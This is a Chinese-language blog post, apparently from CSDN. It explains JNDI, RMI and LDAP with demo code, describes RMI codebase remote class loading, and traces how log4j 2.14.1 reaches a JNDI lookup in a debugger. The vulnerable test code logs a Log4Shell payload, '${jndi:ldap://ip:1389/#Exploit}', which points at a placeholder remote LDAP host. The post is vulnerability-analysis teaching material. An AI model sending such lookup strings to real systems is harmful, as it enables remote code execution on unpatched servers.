JNDI&RMI&LDAP介绍+log4j分析

JNDI

JNDI是java Naming and Directory Interfac即java命名与目录接口
Naming是命名服务,Director指目录服务。
通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,,JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

  • 命名服务
    对资源命名方便下次调用,Naming的资源要唯一,每一个资源绑定一个名字
  • 目录服务
    顾名思义,和计算机的文件系统很像,具体来说,dns就是一种目录服务

在实际使用时,在J2EE容器中配置JNDI参数,这个容器就是数据源,在使用时,直接通过数据源名称就可以调用
一个mysql的配置文件示例如图,数据源名称就是MySqlDS

<?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
    <jndi-name>MySqlDS</jndi-name>
    <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
    <driver-class>com.mysql.jdbc.Driver</driver-class>
    <user-name>root</user-name>
    <password>rootpassword</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
    <metadata>
       <type-mapping>mySQL</type-mapping>
    </metadata>
</local-tx-datasource>
</datasources>

在使用时

Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源
DataSource ds=(Datasource)datasourceRef;
conn=ds.getConnection();
/* 使用conn进行数据库SQL操作 */
......
c.close();

通过JNDI统一的接口,只需要配置好数据源,在使用时,只需要调用lookup方法,查询数据源名称就可以获得数据源,使用数据库,不需要考虑不同数据库的驱动、连接、调用等方式,如果想换一个数据库,只需要修改下数据源配置文件就可以了

RMI协议

RMI是remote method invoke即远程方法调用,可以实现从一个java虚拟机对象调用另一个虚拟机对象上的方法,这就要说到RPC,remote procedure call远程过程调用,这是一种技术思想而非一种协议,是一种通过网络从远程端请求服务的过程
RPC
而RMI就是JAVA实现的RPC机制

常见的RPC框架

  • 应用级的服务框架:阿里的 Dubbo/Dubbox、Google gRPC、Spring Boot/Spring Cloud。
  • 远程通信协议:RMI、Socket、SOAP(HTTP XML)、REST(HTTP JSON)。
  • 通信框架:MINA 和 Netty。

RMI参考文章1

完整的RMI调用过程包括:注册服务->RMIServer->Client->接口->实现接口的类

一个demo

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;

public class RegServer {
    public static void main(String[] args) throws InterruptedException {
        try{
            LocateRegistry.createRegistry(8000);//注册8000端口
        } catch (RemoteException e) {
            e.printStackTrace();
        }

        CountDownLatch lacth = new CountDownLatch(1);
        lacth.await();//挂起主线程,不使其退出
    }
}

public class RemoteImp implements RemoteIntf{
    @Override
    public String sayHello(String name) throws Exception {
        return String.format("hello,%s!",name);
    }
}

import java.io.IOException;
import java.rmi.AlreadyBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMI {
    public static void main(String[] args) {
        RemoteImp remoteHello = new RemoteImp();
        try {
            RemoteIntf stub = (RemoteIntf) UnicastRemoteObject.exportObject(remoteHello, 4000);//导出服务,使用4000端口
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8000);
            registry.bind("hello", stub);
        } catch (AlreadyBoundException | IOException e) {
            e.printStackTrace();
        }
    }
}


import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    public static void main(String[] args) throws Exception {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",8000);//获取注册中心引用
            RemoteIntf remoteHello = (RemoteIntf) registry.lookup("hello");//获取RemoteHello服务
            System.out.println(remoteHello.sayHello("World"));//获取远程方法
        }
}

在这里插入图片描述

在启动注册中心时设置存根和名字可以简化代码,贴出P牛的demo

package rmidemo02;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    public interface IRemoteHello extends Remote{
        public String hello() throws RemoteException;
    }

    public class RemoteHello extends UnicastRemoteObject implements IRemoteHello{
        protected RemoteHello() throws RemoteException{
            super();
        }

        public String hello() throws RemoteException{
            System.out.println("call from");
            return "hello world";
        }
    }

    private void start() throws Exception{
        RemoteHello h = new RemoteHello();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/hello",h);
    }

    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}
package rmidemo02;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class Client4rmi {
    public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException {
        RMIServer.IRemoteHello hello = (RMIServer.IRemoteHello) Naming.lookup("rmi://127.0.0.1:1099/hello");
        String ret = hello.hello();
        System.out.println(ret);
    }
}

LDAP协议

LDAP Light Directory Access Portocol
LDAP协议主要用于单点登录SSO(Single Sign on),典型的案例:
学校的单点登录系统,登录后教务系统、选课系统等都可以直接访问

LDAP可以用于SSO,但不等与SSO,这种协议还可以用于统一各种系统的认证方式、储存企业组织架构,员工信息(由于它使用树形结构,查询效率高)等等

LDAP的服务处理工厂类是:com.sun.jndi.ldap.LdapCtxFactory,连接LDAP之前需要配置好远程的LDAP服务。

远程加载恶意类

JNDI注入

RMI服务端远程加载恶意类

刚刚的rmi通信过程继续扩展到加载恶意类,这里说到codebase

一、为什么需要codebase
当我们用一个对象作为远程方法调用的参数时,对象是以序列化流来传输到远端,然后在远端重新生成对象。这样就可能在两个Java虚拟机中交换对象了。但是序列化是这种传递对象的一部分。当你序列化对象时,你仅仅是把对象的成员数据转化成字节流,而实际实现该对象的代码却没有。也就是说,传递的只是数据部分,而做为控制逻辑的程序代码部分却没有被传递。这就是RMI初学者轻易误解的地方,我已经序列化对象了,而且对象也传过去了,怎么还说找不到呢。其实,对象数据的确过去了,不过找不到是类定义,这个并不是序列化传过去的,RMI协议是不传递代码的。但是,对于本地没有的类文件的对象,RMI提供了一些机制答应接收对象的一方去取回该对象的类代码。而到什么地方去取,这就需要发送方设置codebase了。
二、什么是codebase
简单说,codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。
codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。

满足条件
  1. 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy。
  2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

log4j分析

环境配置

创建一个maven项目,添加如下pom.xml

<dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

添加漏洞代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:ldap://ip:1389/#Exploit}");
    }
}

在这里插入图片描述

入口函数是AbstractLogger.logIfEnabled,仔细观察发现,非常多的logIfEnabled函数重载,而调用不同的重载logIfEnabled则是被info、warn、fatal、error还有debug重载调用调用logMessage
在这里插入图片描述调用logMessageSafely
在这里插入图片描述调用logMEssageTrackRecursion
在这里插入图片描述步进
在这里插入图片描述步进
在这里插入图片描述
跟到Logger.log->DefaultReliabilityStrategy.log->LoggerConfig.log,几次步过,LogEvent步进
在这里插入图片描述
一堆设置
在这里插入图片描述
processLogEvent判定event
在这里插入图片描述在这里插入图片描述
继续跟,慢慢找
在这里插入图片描述应该快到${}解析的地方了
在这里插入图片描述
先看一下directEncodeEvent,有getLayout(),encode(),步进到encode(),进入toText()
在这里插入图片描述
toSerializable
在这里插入图片描述
这里面一直找不到入口,在数组formatters,注意数组的变量converter
在这里插入图片描述

步进!
来到
MessagePatternConverter.class的关键方法format

在这里插入图片描述很明显,对${做了检测,nolookup的值为false,那么进入for循环对message event进行处理,进入replace(),跟进到substitute()
下面很大的循环体内

在这里插入图片描述在这里打个断点
然后回去可以看到
在这里插入图片描述已经从${}提取出来jndi…
跟进一下resolveVariable
在这里插入图片描述这应该就是根据event的prefix选择对应的StrLookup进行处理,跟进lookup显而易见了

在这里插入图片描述

之后通过jndiManager类进行调用,成功执行javax/naming/InitialContext.java的lookup解析函数在这里插入图片描述

回马枪

利用条件在调试过程种有体现吗?
有的:还记得入口函数吗?
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

日志级别
log4j2支持多种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。
log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。
在这里插入图片描述
当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候
,会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel(“当前类名”, Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200,如下图中的处理:
在这里插入图片描述

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值